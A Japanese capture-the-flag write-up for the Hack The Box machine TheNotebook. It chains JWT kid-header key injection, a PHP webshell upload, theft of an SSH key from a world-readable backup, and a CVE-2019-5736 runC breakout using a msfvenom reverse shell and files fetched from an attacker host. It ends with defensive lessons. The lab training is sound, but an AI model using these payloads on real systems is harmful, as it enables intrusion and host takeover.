Hack The BoxのWriteup(TheNotebook)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: TheNotebook — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx+Flask)
/register で一般アカウント作成
RS256署名JWTがauth Cookieに発行
JWT kid ヘッダー悪用
攻撃者鍵配信サーバへ誘導し admin_cap=1 偽造
Admin Panel到達 → PHP webshellアップロード
curl multipart, 32桁hexファイル名
/var/backups/home.tar.gz 読取
world-readable、noahのSSH秘密鍵
noah SSH
user.txt ✓
CVE-2019-5736 runC ブレイクアウト
/proc/self/exe 自己参照レース
ホストのrunCバイナリ乗っ取り
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 1000 --max-retries 2 10.129.54.44
nmap -sV -sC -p 22,80 10.129.54.44
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PHASE 2

アカウント登録 & 発行されたJWTの構造解析

/register の実フォームフィールド

BASH
curl -s http://10.129.54.44/register | grep -oE '<input[^>]*name="[^"]*"'
RESULT
<input name="username"
<input name="password"
<input name="email"
BASH (登録)
curl -s -c cookies.txt -X POST http://10.129.54.44/register \
  --data-urlencode "username=pwnuser" \
  --data-urlencode "password=Pwnpass1#" \
  --data-urlencode "email=pwnuser@pwn.htb"
登録に成功すると自動ログインされ、auth CookieにRS256署名のJWTが 発行される。

JWTのヘッダー/ペイロードをデコード

PYTHON
import jwt
header  = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(header); print(payload)
RESULT
HEADER:  {"alg": "RS256", "kid": "...", "typ": "JWT"}
PAYLOAD: {"username": "pwnuser", "email": "pwnuser@pwn.htb", "admin_cap": 0}
🚨
脆弱性の核心: ヘッダーの kid (Key ID) が 検証鍵の取得元URLとして直接使われている(RFC 7515 kid実装の 典型的な誤り)。ペイロードには admin_cap フラグがあり、これが 1 だと管理者権限が付与される仕組み。
PHASE 3

JWT kid ヘッダー悪用による admin_cap=1 トークン偽造

攻撃者用RSA鍵ペアを生成し配信サーバーを起動

PYTHON
from Crypto.PublicKey import RSA
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading

key = RSA.generate(2048)
privkey_pem = key.exportKey("PEM")

class KeyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(privkey_pem)

httpd = HTTPServer(("0.0.0.0", 8000), KeyHandler)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
# → http://<Kali IP>:8000/private.key で秘密鍵PEMをそのまま配信

自分の秘密鍵で admin_cap=1 のトークンを署名し kid を攻撃者サーバへ

PYTHON
import jwt
token = jwt.encode(
    {"username": "admin", "email": "pwnuser@pwn.htb", "admin_cap": 1},
    privkey_pem,
    algorithm="RS256",
    headers={"kid": "http://<Kali IP>:8000/private.key"},
)
⚠️
最初のハマりどころ: ペイロードの username に 自分が登録した偽アカウント名(例: pwnuser)をそのまま入れると、 後述の /admin/admin/upload ページで バックエンドが応答不能になる(下記3-3参照)。username クレームには 実在の “admin” アカウント名を騙る必要がある(email/他フィールドは 任意で構わない)。

つまずきポイント: username を偽の登録名のままにすると管理画面がハングする

NOTE (最初に踏んだ罠)
username="pwnuser"(登録した自分のアカウント名)のままトークンを作ると:
  - /admin/viewnotes へのアクセスは admin_cap=1 だけで通る(問題なし)
  - しかし /admin (ダッシュボード) や /admin/upload へのアクセスは
    サーバ側が応答を返さず、nginxのgatewayタイムアウト(約30秒)経過後に
    "502 Bad Gateway" となり、Admin Panel本体・アップロード機能に
    一切到達できない。何度リトライしても100%再現し、待機時間を延ばしても
    改善しない。
🚨
原因: /admin/admin/upload は JWTの username クレームを使って実在の”admin”アカウントの 付随データ(恐らくファイル一覧やプロフィール等)を参照する実装になっており、 存在しないユーザー名(自分で登録した偽名)を渡すと、その参照処理がバックエンドで ハング(無限待機かデッドロック)する。/admin/viewnotesadmin_cap フラグのみを見ており実在ユーザー名を要求しないため 問題なく通っていた ——この挙動の違いに気づかないと「JWT偽造は 成功しているのに管理機能に一切到達できない」という迷路に陥る
BASH (修正: usernameを”admin”に変更後は即座に成功)
curl -s -b "auth=<偽造トークン>" http://10.129.54.44/admin
# → 0.6秒台で200 OK、Admin Panelのダッシュボードが返る
PHASE 4

PHP webshell アップロード RCE & user.txt 取得

つまずきポイント: PythonのrequestsライブラリだとPOSTがハングする

PYTHON (最初に失敗した方法)
files = {"file": ("shell.php", shell_content, "application/x-php")}
r = session.post("http://10.129.54.44/admin/upload", files=files, timeout=20)
# → ReadTimeoutError、最大60秒待っても nginx の "502 Bad Gateway" にしかならない
⚠️
username修正後も、Python requestsライブラリのfiles=による multipart/form-dataアップロードだけは何度試しても100%ハングし 502で終わることを確認した(プレーンなtxtファイルでも同様に失敗、拡張子や ファイル名は無関係)。原因はrequestsとcurlのmultipartエンコード方式の 微妙な差異(boundary/ヘッダーの組み方)にサーバ側のフォームパーサが 対応できていないためと推測される。
BASH (修正: curlの生のmultipart送信に切り替え)
echo '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>' > shell.php

curl -s -m 20 -b "auth=<偽造トークン>" \
  -F "file=@shell.php;type=application/x-php" \
  -L http://10.129.54.44/admin/upload
curlでは1秒未満で302リダイレクトが返り、正常にアップロードされる。

つまずきポイント2: 鍵配信サーバーを早く止めすぎるとその後の認証が全滅する

🚨
サーバは kid の鍵URLをリクエストごとに毎回フェッチし直しており キャッシュしないらしく、JWT検証確認(/admin/viewnotes)の直後に 攻撃者側の鍵配信HTTPサーバーを停止してしまうと、同じトークンを使い回す 以降のリクエスト(アップロード等)がすべて “Forbidden” になる。 鍵配信サーバーは、偽造トークンを使い切る(アップロード完了)まで生かしたままにする。

アップロード結果からファイル名を取得しRCE確認

RESULT (リダイレクト後の “Your Files” 一覧)
<div class="col-md-8">4cab9c4efd380b87b5b0bbbf51432094.php</div>
<div class="col-md-4"><a href="/4cab9c4efd380b87b5b0bbbf51432094.php">
  <button>View</button></a></div>
BASH
curl -s "http://10.129.54.44/4cab9c4efd380b87b5b0bbbf51432094.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ℹ️
アップロードされたファイルは32桁16進数名+拡張子維持で Webルート直下に保存され、直接アクセスするだけで実行できる (アクセス制御・拡張子検証なし)。

home.tar.gz からnoahのSSH秘密鍵を窃取

BASH
curl -s "http://10.129.54.44/<webshell>.php?cmd=ls+-la+/var/backups/"
RESULT
-rw-r--r-- 1 root root 4373 Feb 17  2021 home.tar.gz
BASH (base64で外部へ持ち出し)
curl -s "http://10.129.54.44/<webshell>.php" \
  --data-urlencode "cmd=base64 -w0 /var/backups/home.tar.gz" -G \
  | grep -oP '(?<=<pre>).*(?=</pre>)' | base64 -d > home.tar.gz

tar -xzf home.tar.gz
find . -name id_rsa
RESULT
./home/noah/.ssh/id_rsa
/var/backups/home.tar.gzworld-readableで、 noahユーザーの.sshディレクトリ丸ごとがアーカイブされている (バックアップ運用の不備)。

SSHログイン & user.txt 取得

BASH
chmod 600 home/noah/.ssh/id_rsa
ssh -i home/noah/.ssh/id_rsa noah@10.129.54.44 "id; cat ~/user.txt"
RESULT
uid=1000(noah) gid=1000(noah) groups=1000(noah)
b55a4ac3b9b0c4b7855d0d7911d95992
user.txt — noah@thenotebook
b55a4ac3b9b0c4b7855d0d7911d95992
PHASE 5

CVE-2019-5736 (runC コンテナブレイクアウト) の解析

sudo権限の確認

BASH
noah@thenotebook:~$ sudo -l
RESULT
User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
🚨
docker exec -it webapp-dev01* をNOPASSWDで実行できる。 コンテナの Docker version は 18.06.0-ce で、CVE-2019-5736 (runC経由のコンテナブレイクアウト)に脆弱なバージョン。

脆弱性の原理

NOTE
`docker exec` は、対象コンテナの名前空間へ入るために runC バイナリを
コンテナ内で(ホストから見て)一時的に実行する。このとき runC プロセス自身は
`/proc/self/exe` という自己参照シンボリックリンク経由で自分自身の実行ファイルを
開く。攻撃者がコンテナ内の /bin/bash を
  #!/proc/self/exe
という shebang スクリプトに差し替えておくと、次に誰か(root含む)が
`docker exec -it  /bin/bash` を実行した瞬間、
"/bin/bash" ではなく実際には /proc/self/exe (= 実行中のrunCプロセス自身の
実行ファイル、つまりホスト上の本物のrunCバイナリ) が開かれる。この
オープンされたファイルディスクリプタに対し、コンテナ内から書き込み
(O_WRONLY)を行うことで、コンテナの外にあるはずのホストのrunCバイナリ
そのものを上書きできてしまう(コンテナの隔離が破れる)。

タイミングが重要な**レースコンディション**であり、以下の手順で狙う:
  1. コンテナ内で /bin/bash を上記のshebangスクリプトに差し替える
  2. "次に /proc/self/exe が実行される瞬間"を監視するreplace.shを起動しておく
  3. 別セッションから改めて `docker exec -it  /bin/bash_original`
     (退避しておいた本物のbash)を実行してrunCを再度動かす
  4. replace.shがこの新しいrunCプロセスのPIDを検知し、
     /proc//exe (=ホストの本物のrunCバイナリ) へ攻撃者の
     ペイロード(msfvenom製リバースシェルELF)を書き込む
  5. 以降、誰かが再度 `docker exec` (=runC起動)すると、
     ホスト上で攻撃者のペイロードがroot権限で実行される
ℹ️
公開PoC twistlock/RunC-CVE-2019-5736exec_POC/ 一式(bash_evil, new_runc, overwrite_runc, replace.sh)をそのまま利用する。 new_runc だけは msfvenom で自前のリバースシェルELFに置き換える。
PHASE 6

レース実行 → root.txt

msfvenomでペイロード生成 & PoC配信サーバー起動

BASH
git clone https://github.com/twistlock/RunC-CVE-2019-5736
cd RunC-CVE-2019-5736/exec_POC

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.15.201 LPORT=9999 -f elf -o new_runc

python3 -m http.server 8001 --directory .

つまずきポイント: sudoersパターンには “-it” が必須

NOTE (最初に失敗した方法)
ssh noah@target "sudo docker exec webapp-dev01 sh -c '...(PoC配置)...'"
# → "sudo: no tty present and no askpass program specified"
#   (NOPASSWDが適用されずパスワード要求で即失敗)
🚨
sudoersには /usr/bin/docker exec -it webapp-dev01* としか 登録されておらず、これはコマンドライン文字列の前方一致で 判定される。PoC設置用のセットアップコマンドであっても 必ず “-it” を含めなければNOPASSWDが適用されない。 さらに “-it” を渡すとコンテナ側で疑似端末の割当てが必要になるため、 SSH自体も -tt で疑似端末を割り当てないと “the input device is not a TTY” で失敗する。
BASH (修正版: セットアップ)
ssh -tt -i noah_id_rsa noah@10.129.54.44 \
  "sudo docker exec -it webapp-dev01 sh -c '
    cd / &&
    for f in bash_evil new_runc overwrite_runc replace.sh; do
      wget -q http://10.10.15.201:8001/\$f
    done &&
    chmod +x replace.sh overwrite_runc bash_evil new_runc &&
    mv /bin/bash /bin/bash_original &&
    mv /bash_evil /bin/bash &&
    /bin/bash_original /replace.sh'" &

sleep 9   # replace.sh が「次のrunC起動」を監視し始めるまで待つ

2回目の docker exec でレースをトリガー

BASH
# 別ターミナルでリスナー起動
nc -lnvp 9999

# レースを発火させる2回目のdocker exec (退避された本物のbashを起動)
ssh -tt -i noah_id_rsa noah@10.129.54.44 \
  "sudo docker exec -it webapp-dev01 /bin/bash_original"
⚠️
RESULT (nc :9999 リスナー側、レース成立時)
listening on [any] 9999 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.54.44] 59124
$ id
uid=0(root) gid=0(root) groups=0(root)
ホストのroot権限奪取に成功。 ホスト上で稼働していた本物の runCバイナリが、我々のmsfvenomペイロードで完全に上書きされたため、 以降そのホスト上のdocker機能自体が恒久的に使用不能になる (このマシン固有の、この権限昇格手法の避けられない副作用)。

root.txt 取得

BASH
# root)shell内
$ cat /root/root.txt
RESULT
ba708827a634eae7590831ecbdc88cde
root.txt — root@thenotebook
ba708827a634eae7590831ecbdc88cde
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — noah@thenotebook
b55a4ac3b9b0c4b7855d0d7911d95992
root.txt — root@thenotebook
ba708827a634eae7590831ecbdc88cde

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
JWT kid ヘッダー任意鍵注入 /register で発行されるRS256 JWT 認証バイパス・権限昇格(admin_cap偽造) Critical kidに攻撃者ホストの鍵URLを指定し、その鍵で署名した偽トークンをサーバに検証させる
任意ファイルアップロードRCE /admin/upload リモートコード実行(www-data) Critical 拡張子・内容検証なしでPHPファイルを保存、直接アクセスして?cmd=でRCE
バックアップのworld-readable公開 /var/backups/home.tar.gz SSH秘密鍵の漏洩 Medium root所有だが全ユーザー読み取り可能なバックアップにSSH鍵が平文で含まれていた
CVE-2019-5736 Docker 18.06.0-ce (runC) コンテナブレイクアウト・ホストroot権限奪取 Critical /proc/self/exe を悪用しdocker exec実行のたびに再実行されるrunCバイナリ自体を上書き

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap フルポートスキャン22/80のみ、Flaskアプリ検出
2登録・JWT解析アカウント登録、JWTデコードkid/admin_capクレームの存在確認
3JWT偽造kidヘッダー任意鍵注入admin_cap=1トークン、Admin Panel到達
4RCE・資格情報PHPアップロード + バックアップ読取user.txt、noahのSSH鍵
5権限調査sudo -l解析、Dockerバージョン確認CVE-2019-5736の適用可否確認
6権限昇格runCブレイクアウトレースroot.txt
症状原因修正
Admin Panel/アップロードページへのアクセスが毎回nginxの502で失敗 JWT偽造時、usernameクレームに登録した偽アカウント名をそのまま使っており、実在の”admin”アカウント名でないとバックエンドがハングする実装だった usernameクレームを常に文字列”admin”で固定するよう修正
usernameを正しく修正してもアップロードのPOSTだけが毎回ハング/502 Python requestsライブラリのfiles=multipart送信をサーバ側が正しく処理できず応答を返さなかった requestsの代わりにcurlサブプロセスでmultipartアップロードするよう変更
2つ上を直してもアップロードが”Forbidden”になる JWT検証確認(viewnotes)の直後に鍵配信HTTPサーバーを停止しており、サーバがkid URLを毎回フェッチし直す実装のため以降のリクエストで鍵取得に失敗していた 鍵配信サーバーの停止をアップロード完了後まで遅延させるよう変更
Phase4のPoCセットアップコマンドが”no tty present”で即失敗しレースが一切成立しない sudoersのNOPASSWDパターンがdocker exec -it webapp-dev01*という文字列前方一致であるにもかかわらず、セットアップ用のdocker execコマンドに”-it”を付けていなかった セットアップ・トリガー両方のdocker execコマンドに”-it”を追加し、対応するSSH呼び出しにも”-tt”(疑似端末割当て)を追加。あわせてレースが本質的に確率的であることを踏まえ最大5回のリトライループに変更

学んだ教訓 & 防御策

問題点防御策
JWTのkidヘッダーをそのまま検証鍵の取得元URLとして信頼している kidは事前に登録済みの鍵IDのホワイトリストと照合するだけに留め、任意URLからの鍵取得を許可しない。可能であれば非対称鍵の代わりに対称鍵+固定シークレットや、鍵のピン留め(pinning)を行う。
管理者用アップロード機能に拡張子・内容の検証が一切ない アップロード可能な拡張子をホワイトリスト化し、Webルート外の隔離ディレクトリに保存、実行権限を持たせない。可能ならアップロードファイルは静的配信のみとしサーバサイド実行を無効化する。
rootが所有するバックアップファイルがworld-readableでSSH秘密鍵を含む バックアップの権限を最小化(root:root 600等)し、秘密鍵などの機密情報はバックアップ対象から除外するか暗号化する。
脆弱なバージョンのDocker/runCを使用 Docker/runCを CVE-2019-5736 修正済みバージョン(runc >= 1.0-rc7)へアップデートする。加えてrootless Docker やuser namespace remappingを活用し、コンテナブレイクアウトの影響を限定する。
HackTheBox: TheNotebook | 完全攻略レポート